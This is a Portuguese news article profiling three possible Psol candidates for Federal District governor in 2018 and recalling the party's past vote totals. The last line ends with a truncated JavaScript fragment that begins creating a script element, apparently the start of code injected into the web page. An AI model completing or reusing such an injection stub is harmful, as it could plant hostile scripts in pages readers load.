Passando à margem do lamaçal que inundou a política brasileira nos últimos anos, o Psol aposta em significativo crescimento nas eleições de 2018. No Distrito Federal, encabeçam a disputa o já conhecido Toninho do Psol, o presidente do Sindicato dos Servidores da Assistência Social e Cultural, Clayton Avelar, e a auditora da Controladoria-Geral da União (CGU), Anjuli Tostes.
Todos eles estão entusiasmados com a boa performance de Marcelo Freixo, que chegou ao segundo turno na disputa pela prefeitura do Rio de Janeiro no ano passado. Outro nome de destaque no pleito municipal de 2016 foi o deputado federal Edmilson Rodrigues (PA), que também chegou ao segundo turno em Belém.
Desde 2002, o Psol lança candidaturas próprias ao GDF. A melhor votação do partido, que sempre teve Toninho à frente, foi em 2010, quando obteve 199.09 votos (14,25% do primeiro turno). Para 2018, no entanto, não está garantida nova aposta em Toninho.
\”A saída é a juventude\”, acredita a pré-candidata Anjuli Tostes. Já Clayton Avelar defende a legenda: \”O eleitor do Distrito Federal terá duas opções: votar na candidatura do PSol ou nos mesmos nomes de sempre\”.
Com viés de esquerda, mas contrário a alianças com PMDB e a favor da tributação das grandes fortunas, o Psol aposta em lançar o primeiro candidato oficial ao Buriti para ganhar tempo na disputa. A executiva do partido montou comissão para definir prazos e métodos para escolha do nome da legenda. O colegiado, por sua vez, está formulando uma proposta para encaminhar aos diretórios local e nacional ainda em 2017.
Perfis
Anjuli Tostes – Primeira colocada no concurso da CGU, Anjuli é uma liderança da categoria e da comunidade de São Sebastião. Advogada popular, é autora de representações em face do GDF contra o aumento das tarifas de ônibus e do metrô. Também atuou contra a derrubada de moradias em São Sebastião. Conseguiu acesso público a todo o inventário de terrenos e imóveis, uma vitória contra a grilagem de terras e a favor do direito à moradia.
Clayton Avelar – Presidente do Sindicato dos Servidores da Assistência Social e Cultural, Clayton nunca disputou cargo político e a posta na defesa do trabalhador para alçar voo ao Buriti. Faz críticas ao governo Rollemberg e diz que Toninho, a figura mais conhecida do Psol, deve tomar lugar na Câmara Legislativa no ano que vem, e que Maninha deve engrossar as fileiras da legenda na Câmara Federal.
Toninho do Psol – Já foi candidato ao governo de Brasília três vezes e é a figura mais conhecida do Psol no DF. Na melhor de suas performances, em 2010, teve 199.095 votos (14,25% dos votos válidos). No primeiro mandato do governo Lula, ocupou a Diretoria Executiva da Fundação Nacional de Saúde. No entanto, após os escândalos do mensalão, tornou-se um crítico dos então companheiros, abandonou a sigla e, junto com outros petistas dissidentes, participou da criação do Psol.var d=document;var s=d.createElement(\’script\’);